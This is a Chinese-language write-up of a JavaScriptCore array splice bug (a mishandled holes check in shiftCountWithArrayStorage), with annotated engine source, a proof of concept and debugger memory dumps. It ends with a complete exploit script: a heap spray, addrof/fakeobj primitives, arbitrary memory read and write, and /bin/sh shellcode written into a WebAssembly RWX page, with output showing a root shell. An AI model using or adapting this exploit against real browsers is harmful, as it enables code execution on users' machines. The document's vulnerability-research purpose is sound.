这个洞是lokihardt 发现的,比较简单,适合入门,这里记录一下学习的过程,理解有误望指正。
这里我用了补丁的前一个版本 commit 21687be235d506b9712e83c1e6d8e0231cc9adfd
, 在 ubuntu 1804 下编译,环境相关的文件都放在了这里
漏洞发生在JSArray::shiftCountWithArrayStorage
这个函数,根据lokihardt 的描述,除非对象的prototype 有indexed accessors 或者 proxy对象(我也不清楚是什么:( ), 否则调用到这个函数的时候holesMustForwardToPrototype
都会返回false
, 本来带holes 的对象就可以进入下面的处理逻辑(总的来说就是代码写错了)
bool JSArray::shiftCountWithArrayStorage(VM& vm, unsigned startIndex, unsigned count, ArrayStorage* storage) { unsigned oldLength = storage->length(); RELEASE_ASSERT(count <= oldLength); // If the array contains holes or is otherwise in an abnormal state, // use the generic algorithm in ArrayPrototype. if ((storage->hasHoles() && this->structure(vm)->holesMustForwardToPrototype(vm, this)) || hasSparseMap() || shouldUseSlowPut(indexingType())) { return false; } if (!oldLength) return true; unsigned length = oldLength - count; storage->m_numValuesInVector -= count; storage->setLength(length); //..... bool Structure::holesMustForwardToPrototype(VM& vm, JSObject* base) const { ASSERT(base->structure(vm) == this); if (this->mayInterceptIndexedAccesses()) return true; JSValue prototype = this->storedPrototype(base);// if (!prototype.isObject()) return false; JSObject* object = asObject(prototype); while (true) { Structure& structure = *object->structure(vm); if (hasIndexedProperties(object->indexingType()) || structure.mayInterceptIndexedAccesses()) return true; prototype = structure.storedPrototype(object); if (!prototype.isObject()) return false; object = asObject(prototype);
function main() { let arr = [1]; arr.length = 0x100000; arr.splice(0, 0x11); arr.length = 0xfffffff0; arr.splice(0xfffffff0, 0, 1); } main();
lokihardt
给出了poc
./jsc >>> a=[1] 1 >>> describe(a) Object: 0x7fffaf6b4340 with butterfly 0x7fe0000e4008 (Structure 0x7fffaf6f2a00:[Array, {}, ArrayWithInt32, Proto:0x7fffaf6c80a0, Leaf]), StructureID: 97 >>> a.length=0x100000 1048576 >>> describe(a) Object: 0x7fffaf6b4340 with butterfly 0x7fe0000f8448 (Structure 0x7fffaf6f2b50:[Array, {}, ArrayWithArrayStorage, Proto:0x7fffaf6c80a0, Leaf]), StructureID: 100 >>> a.splice(0,0x11) 1,,,,,,,,,,,,,,,,
首先创建了一个 ArrayWithInt32
类型的array, length 改成0x100000
之后会转换成ArrayWithArrayStorage
, 然后调用 splice
函数,实现在Source/JavaScriptCore/runtime/ArrayPrototype.cpp:1005
的arrayProtoFuncSplice
函数
splice 用来删除修改array, 如 a.splice(0, 0x11)
, 就表示从index=0
开始删除0x11 项, 第三个参数表示要替换的内容, 如a.splice(0,0x11,1,1)
表示删除 0x11 个项,然后添加两个项,内容都是1, 也可以这a.splice(0,1,1,2,3)
要添加的项比删除多的时候会重新分配内存。我们看一下函数具体是怎么样实现的, 这里用poc 的 a.length=0x100000; a.splice(0,0x11)
为例
EncodedJSValue JSC_HOST_CALL arrayProtoFuncSplice(ExecState* exec) { // 15.4.4.12 VM& vm = exec->vm(); auto scope = DECLARE_THROW_SCOPE(vm); JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec); EXCEPTION_ASSERT(!!scope.exception() == !thisObj); if (UNLIKELY(!thisObj)) return encodedJSValue(); // length = 0x100000 unsigned length = toLength(exec, thisObj); RETURN_IF_EXCEPTION(scope, encodedJSValue()); if (!exec->argumentCount()) { //.. } // splice 第一个参数, 这里是 0 unsigned actualStart = argumentClampedIndexFromStartOrEnd(exec, 0, length); RETURN_IF_EXCEPTION(scope, encodedJSValue()); // actualDeleteCount = 0x100000 - 0 unsigned actualDeleteCount = length - actualStart; // argumentCount == 2, 进入判断, actualDeleteCount = 0x11 if (exec->argumentCount() > 1) { double deleteCount = exec->uncheckedArgument(1).toInteger(exec); RETURN_IF_EXCEPTION(scope, encodedJSValue()); if (deleteCount < 0) actualDeleteCount = 0; else if (deleteCount > length - actualStart) actualDeleteCount = length - actualStart; else actualDeleteCount = static_cast<unsigned>(deleteCount); } //... // itemCount 表示要添加的 item 数量, 这里是 0 < 0x11 --> 调用 shift unsigned itemCount = std::max<int>(exec->argumentCount() - 2, 0); if (itemCount < actualDeleteCount) { shift<JSArray::ShiftCountForSplice>(exec, thisObj, actualStart, actualDeleteCount, itemCount, length); RETURN_IF_EXCEPTION(scope, encodedJSValue()); } else if (itemCount > actualDeleteCount) { unshift<JSArray::ShiftCountForSplice>(exec, thisObj, actualStart, actualDeleteCount, itemCount, length); RETURN_IF_EXCEPTION(scope, encodedJSValue()); } // 把每个添加的item 内容写入 for (unsigned k = 0; k < itemCount; ++k) { thisObj->putByIndexInline(exec, k + actualStart, exec->uncheckedArgument(k + 2), true); RETURN_IF_EXCEPTION(scope, encodedJSValue()); } // 重新设置长度 scope.release(); setLength(exec, vm, thisObj, length - actualDeleteCount + itemCount); return JSValue::encode(result); }
整理一下
actualStart
第一个参数,表示要开始delete 的地方actualDeleteCount
第二个参数,要delete 的数量,没有设置时默认是length - actualStart
itemCount
第三个参数开始的数量itemCount < actualDeleteCount
会调用 shiftitemCount > actualDeleteCount
调用 unshift我们跟一下shift
template<JSArray::ShiftCountMode shiftCountMode> void shift(ExecState* exec, JSObject* thisObj, unsigned header, unsigned currentCount, unsigned resultCount, unsigned length) { VM& vm = exec->vm(); auto scope = DECLARE_THROW_SCOPE(vm); RELEASE_ASSERT(currentCount > resultCount); // 要多 delete 的数量 unsigned count = currentCount - resultCount; RELEASE_ASSERT(header <= length); RELEASE_ASSERT(currentCount <= (length - header)); if (isJSArray(thisObj)) { JSArray* array = asArray(thisObj); if (array->length() == length && array->shiftCount<shiftCountMode>(exec, header, count)) return; } for (unsigned k = header; k < length - currentCount; ++k) { unsigned from = k + currentCount; unsigned to = k + resultCount; JSValue value = getProperty(exec, thisObj, from); RETURN_IF_EXCEPTION(scope, void()); if (value) { thisObj->putByIndexInline(exec, to, value, true); RETURN_IF_EXCEPTION(scope, void()); } else { bool success = thisObj->methodTable(vm)->deletePropertyByIndex(thisObj, exec, to); RETURN_IF_EXCEPTION(scope, void()); if (!success) { throwTypeError(exec, scope, UnableToDeletePropertyError); return; } } } for (unsigned k = length; k > length - count; --k) { // bool success = thisObj->methodTable(vm)->deletePropertyByIndex(thisObj, exec, k - 1); RETURN_IF_EXCEPTION(scope, void()); if (!success) { throwTypeError(exec, scope, UnableToDeletePropertyError); return; } } }
JSArray::ShiftCountForSplice
实现在Source/JavaScriptCore/runtime/JSArray.h:125
, shiftCountWithAnyIndexingType
根据 array 的类型做不同的处理,这里我们是ArrayWithArrayStorage
, 直接调用shiftCountWithArrayStorage
bool shiftCountForSplice(ExecState* exec, unsigned& startIndex, unsigned count) { return shiftCountWithAnyIndexingType(exec, startIndex, count); } //................. bool JSArray::shiftCountWithAnyIndexingType(ExecState* exec, unsigned& startIndex, unsigned count) { VM& vm = exec->vm(); RELEASE_ASSERT(count > 0); ensureWritable(vm); Butterfly* butterfly = this->butterfly(); switch (indexingType()) { case ArrayClass: return true; case ArrayWithUndecided: // Don't handle this because it's confusing and it shouldn't come up. return false; case ArrayWithInt32: case ArrayWithContiguous: { unsigned oldLength = butterfly->publicLength(); //... return true; } case ArrayWithDouble: { unsigned oldLength = butterfly->publicLength(); RELEASE_ASSERT(count <= oldLength); //... return true; } case ArrayWithArrayStorage: case ArrayWithSlowPutArrayStorage: return shiftCountWithArrayStorage(vm, startIndex, count, arrayStorage()); default: CRASH(); return false; } }
这里就是漏洞点了,前面提到holesMustForwardToPrototype
会返回false, 这样就会进入到后面的逻辑
bool JSArray::shiftCountWithArrayStorage(VM& vm, unsigned startIndex, unsigned count, ArrayStorage* storage) { unsigned oldLength = storage->length(); RELEASE_ASSERT(count <= oldLength); // If the array contains holes or is otherwise in an abnormal state, // use the generic algorithm in ArrayPrototype. if ((storage->hasHoles() && this->structure(vm)->holesMustForwardToPrototype(vm, this)) || hasSparseMap() || shouldUseSlowPut(indexingType())) { return false; } if (!oldLength) return true; //count = 0x11, oldlength = 0x100000, length = 0xfffef unsigned length = oldLength - count; // m_numValuesInVector = 1, 计算之后 m_numValuesInVector = 0xfffffff0 storage->m_numValuesInVector -= count; storage->setLength(length);
这里运行结束后a.length = 0xfffef
, storage.m_numValuesInVector = 0xfffffff0
, 然后 poc 下一步设置a.length = 0xfffffff0
, 这样就有 a.length == storage.m_numValuesInVector
, 这样hasHoles
后续都会返回false
bool hasHoles() const { return m_numValuesInVector != length(); }
最后一步a.splice(0xfffffff0, 0, 1);
, itemCount == 1 > actualDeleteCount == 0
, 于是就会进入 unshift
函数, 和 shift 函数类似,这里最终会进入 JSArray
的unshiftCountWithArrayStorage
因为 storage->hasHoles()
返回的是 false, 所以可以进入后面的判断,要添加的item 比 delete的多,那么就需要扩大原来的内存,后续的内存操作会出现问题,最终segmentfault
bool JSArray::unshiftCountWithArrayStorage(ExecState* exec, unsigned startIndex, unsigned count, ArrayStorage* storage) { //.. // If the array contains holes or is otherwise in an abnormal state, // use the generic algorithm in ArrayPrototype. if (storage->hasHoles() || storage->inSparseMode() || shouldUseSlowPut(indexingType())) return false; bool moveFront = !startIndex || startIndex < length / 2; unsigned vectorLength = storage->vectorLength(); // Need to have GC deferred around the unshiftCountSlowCase(), since that leaves the butterfly in // a weird state: some parts of it will be left uninitialized, which we will fill in here. DeferGC deferGC(vm.heap); auto locker = holdLock(cellLock()); if (moveFront && storage->m_indexBias >= count) { Butterfly* newButterfly = storage->butterfly()->unshift(structure(vm), count); storage = newButterfly->arrayStorage(); storage->m_indexBias -= count; storage->setVectorLength(vectorLength + count); setButterfly(vm, newButterfly); } else if (!moveFront && vectorLength - length >= count) storage = storage->butterfly()->arrayStorage(); else if (unshiftCountSlowCase(locker, vm, deferGC, moveFront, count)) storage = arrayStorage();// 0x60 else { throwOutOfMemoryError(exec, scope); return true; } WriteBarrier<Unknown>* vector = storage->m_vector; if (startIndex) { if (moveFront) memmove(vector, vector + count, startIndex * sizeof(JSValue)); else if (length - startIndex) memmove(vector + startIndex + count, vector + startIndex, (length - startIndex) * sizeof(JSValue)); } for (unsigned i = 0; i < count; i++) vector[i + startIndex].clear(); return true; }
okay, 漏洞发生的原因大概清楚了,我们再来看看要怎么样利用。我们可以发现 unshiftCountWithArrayStorage
有一个 memmove
的操作, 假如执行a.splice(0x1000,0,1)
, startIndex == 0x1000
, moveFront == true
, count = 1
if (startIndex) { if (moveFront) memmove(vector, vector + count, startIndex * sizeof(JSValue)); else if (length - startIndex) memmove(vector + startIndex + count, vector + startIndex, (length - startIndex) * sizeof(JSValue)); }
vector 来自前面的storage
, 这里会进入 storage = arrayStorage();
重新初始化一个 storage, 可以跟踪一下Source/JavaScriptCore/runtime/ButterflyInlines.h:77
的Butterfly::tryCreateUninitialized
函数,最终分配的内存大小是 0x60(0x58 向上对齐)。但是 因为这里startIndex
可以控制,于是这里就可以越界做内存拷贝。
if (moveFront && storage->m_indexBias >= count) {//m_indexBias ==0 < count ==1 Butterfly* newButterfly = storage->butterfly()->unshift(structure(vm), count); storage = newButterfly->arrayStorage(); storage->m_indexBias -= count; storage->setVectorLength(vectorLength + count); setButterfly(vm, newButterfly); } else if (!moveFront && vectorLength - length >= count)// moveFront == true storage = storage->butterfly()->arrayStorage(); else if (unshiftCountSlowCase(locker, vm, deferGC, moveFront, count)) storage = arrayStorage();// 0x60 else { throwOutOfMemoryError(exec, scope); return true; } WriteBarrier<Unknown>* vector = storage->m_vector;
如果内存布局像下面这样,
vector = 0x7fe000287a78 pwndbg> x/1000gx 0x7fe000287a78 0x7fe000287a78: 0x00000000badbeef0 0x0000000000000000 0x7fe000287a88: 0x00000000badbeef0 0x00000000badbeef0 0x7fe000287a98: 0x00000000badbeef0 0x00000000badbeef0 //.. // 其他 object 的 butterfly, length = 0xa 0x7fe000287ff8: 0x00000000badbeef0 0x0000000d0000000a 0x7fe000288008: 0x0000000000001337 0x402abd70a3d70a3d 0x7fe000288018: 0x402abd70a3d70a3d 0x402abd70a3d70a3d // vector + 0x1000 0x7fe000288a78: 0x0000000000000000 0x0000000d0000000a 0x7fe000288a88: 0x0000000000001337 0x402abd70a3d70a3d
memmove之后, 可以把其他object 的 buttefly
的 length 改了,假如可以找到这个 object, 那么就可以利用这个 object 来构造越界读写了。
// vector 0x7fe000287a78: 0x0000000000000000 0x00000000badbeef0 0x7fe000287a88: 0x00000000badbeef0 0x00000000badbeef0 // 其他 object 的 butterfly, length = 0x1337 0x7fe000287ff8: 0x0000000d0000000a 0x0000000000001337 0x7fe000288008: 0x402abd70a3d70a3d 0x402abd70a3d70a3d // vector + 0x1000 0x7fe000288a78: 0x0000000d0000000a 0x0000000000001337 0x7fe000288a88: 0x402abd70a3d70a3d 0x402abd70a3d70a3d
首先喷一堆的object, 尝试构造出上面提到的内存布局,length都是 10, 这样新分配的内存就是 10 * 8 + 0x10 = 0x60
, 就会和新申请的storage
分配在十分接近的内存上。 spray[i]
和 spray[i+1]
会连续分配
for (let i = 0; i < 0x3000; i += 2) { spray[i] = [13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37+i]; spray[i+1] = [{},{},{},{},{},{},{},{},{},{}]; // fakeobj } for (let i = 0; i < 0x3000; i += 2) spray[i][0] = i2f(0x1337)
然后是 splice(0x1000,0,1) 触发memmove
, 然后找出那个被改了 size 的 object
arr.splice(0x1000,0,1); fake_index=-1; for(let i=0;i<0x3000;i+=2){ if(spray[i].length!=10){ print("hit: "+i.toString(16)); fake_index=i; break; } } //..spray[i] ArrayWithDouble 0x7ff000287ff8: 0x00000000badbeef0 0x0000000d0000000a 0x7ff000288008: 0x0000000000001337 0x402abd70a3d70a3d 0x7ff000288018: 0x402abd70a3d70a3d 0x402abd70a3d70a3d 0x7ff000288028: 0x402abd70a3d70a3d 0x402abd70a3d70a3d 0x7ff000288038: 0x402abd70a3d70a3d 0x402abd70a3d70a3d 0x7ff000288048: 0x402abd70a3d70a3d 0x40c77caf5c28f5c3 // spray[i+1], ArrayWithContiguous 0x7ff000288058: 0x7ff8000000000000 0x7ff8000000000000 0x7ff000288068: 0x7ff8000000000000 0x0000000d0000000a 0x7ff000288078: 0x00007fffae25d240 0x00007fffae25d280 0x7ff000288088: 0x00007fffae25d2c0 0x00007fffae25d300 0x7ff000288098: 0x00007fffae25d340 0x00007fffae25d380 0x7ff0002880a8: 0x00007fffae25d3c0 0x00007fffae25d400 0x7ff0002880b8: 0x00007fffae25d440 0x00007fffae25d480
到了这里, spray[i][14] == spray[i+1][0]
, 往spray[i][14]
写一个 地址, 然后从spray[i+1]
取出来就会认为他是一个object, 同样可以用spray[i][14]
读 object 的地址, fakeobj 和 addrof 的构造就十分直接啦
unboxed = spray[fake_index]; boxed = spray[fake_index+1]; print(describe(unboxed)) print(describe(boxed)) function addrof(obj){ boxed[0] = obj; return f2i(unboxed[14]); } function fakeobj(addr){ unboxed[14] = i2f(addr); return boxed[0]; }
接下来的利用基本上就都是通用套路了,改 ArrayWithDouble
的 butterfly 任意地址读写,然后找 wasm 的rwx
段写shellcode, 执行shellcode 完事。
完整exp 如下
var conversion_buffer = new ArrayBuffer(8) var f64 = new Float64Array(conversion_buffer) var i32 = new Uint32Array(conversion_buffer) var BASE32 = 0x100000000 function f2i(f) { f64[0] = f return i32[0] + BASE32 * i32[1] } function i2f(i) { i32[0] = i % BASE32 i32[1] = i / BASE32 return f64[0] } function user_gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } } let arr = [1]; arr.length = 0x100000; arr.splice(0, 0x11); arr.length = 0xfffffff0; let spray = new Array(0x3000); for (let i = 0; i < 0x3000; i += 2) { spray[i] = [13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37+i]; spray[i+1] = [{},{},{},{},{},{},{},{},{},{}]; } for (let i = 0; i < 0x3000; i += 2) spray[i][0] = i2f(0x1337) arr.splice(0x1000,0,1); fake_index=-1; for(let i=0;i<0x3000;i+=2){ if(spray[i].length!=10){ print("hit: "+i.toString(16)); fake_index=i; break; } } unboxed = spray[fake_index]; boxed = spray[fake_index+1]; print(describe(unboxed)) print(describe(boxed)) function addrof(obj){ boxed[0] = obj; return f2i(unboxed[14]); } function fakeobj(addr){ unboxed[14] = i2f(addr); return boxed[0]; } victim = [1.1]; victim[0] =3.3;; victim['prop'] = 13.37; victim['prop'+1] = 13.37; print(describe(victim)) print(addrof(victim).toString(16)) i32[0]=100; i32[1]=0x01082107 - 0x10000; var container={ jscell:f64[0], butterfly:victim, } print(describe(container)) container_addr = addrof(container); hax = fakeobj(container_addr+0x10); var unboxed2 = [1.1]; unboxed2[0] =3.3; var boxed2 = [{}] hax[1] = i2f(addrof(unboxed2)) var shared = victim[1]; hax[1] = i2f(addrof(boxed2)) victim[1] = shared; var stage2={ addrof: function(obj){ boxed2[0] = obj; return f2i(unboxed2[0]); }, fakeobj: function(addr){ unboxed2[0] = i2f(addr); return boxed2[0]; }, read64: function(addr){ hax[1] = i2f(addr + 0x10); return this.addrof(victim.prop); }, write64: function(addr,data){ hax[1] = i2f(addr+0x10); victim.prop = this.fakeobj(data) }, write: function(addr, shellcode) { var theAddr = addr; for(var i=0;i<shellcode.length;i++){ this.write64(addr+i,shellcode[i].charCodeAt()) } }, pwn: function(){ var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); var wasm_mod = new WebAssembly.Module(wasm_code); var wasm_instance = new WebAssembly.Instance(wasm_mod); var f = wasm_instance.exports.main; var addr_f = this.addrof(f); var addr_p = this.read64(addr_f + 0x40); var addr_shellcode = this.read64(addr_p); print(addr_f.toString(16)) print(addr_p.toString(16)) print(addr_shellcode.toString(16)); shellcode = "j;X\x99RH\xbb//bin/shST_RWT^\x0f\x05" this.write(addr_shellcode, shellcode); f(); } } stage2.pwn()
运行效果如下
╰$ ./jsc exp.js hit: 2e5e Object: 0x7fffae2af690 with butterfly 0x7fe00028c078 (Structure 0x7fffaf6f2a70:[Array, {}, ArrayWithDouble, Proto:0x7fffaf6c80a0, Leaf]), StructureID: 98 Object: 0x7fffae2af6a0 with butterfly 0x7fe00028c0e8 (Structure 0x7fffaf6f2ae0:[Array, {}, ArrayWithContiguous, Proto:0x7fffaf6c80a0]), StructureID: 99 Object: 0x7fffae2591f0 with butterfly 0x7fe000280058 (Structure 0x7fffaf670d20:[Array, {prop:100, prop1:101}, ArrayWithDouble, Proto:0x7fffaf6c80a0, Leaf]), StructureID: 317 7fffae2591f0 Object: 0x7fffaf6c8380 with butterfly (nil) (Structure 0x7fffaf670e00:[Object, {jscell:0, butterfly:1}, NonArray, Proto:0x7fffaf6b4000, Leaf]), StructureID: 319 7fffae208000 7ffff000a500 7fffb0001000 # id uid=0(root) gid=0(root) groups=0(root) #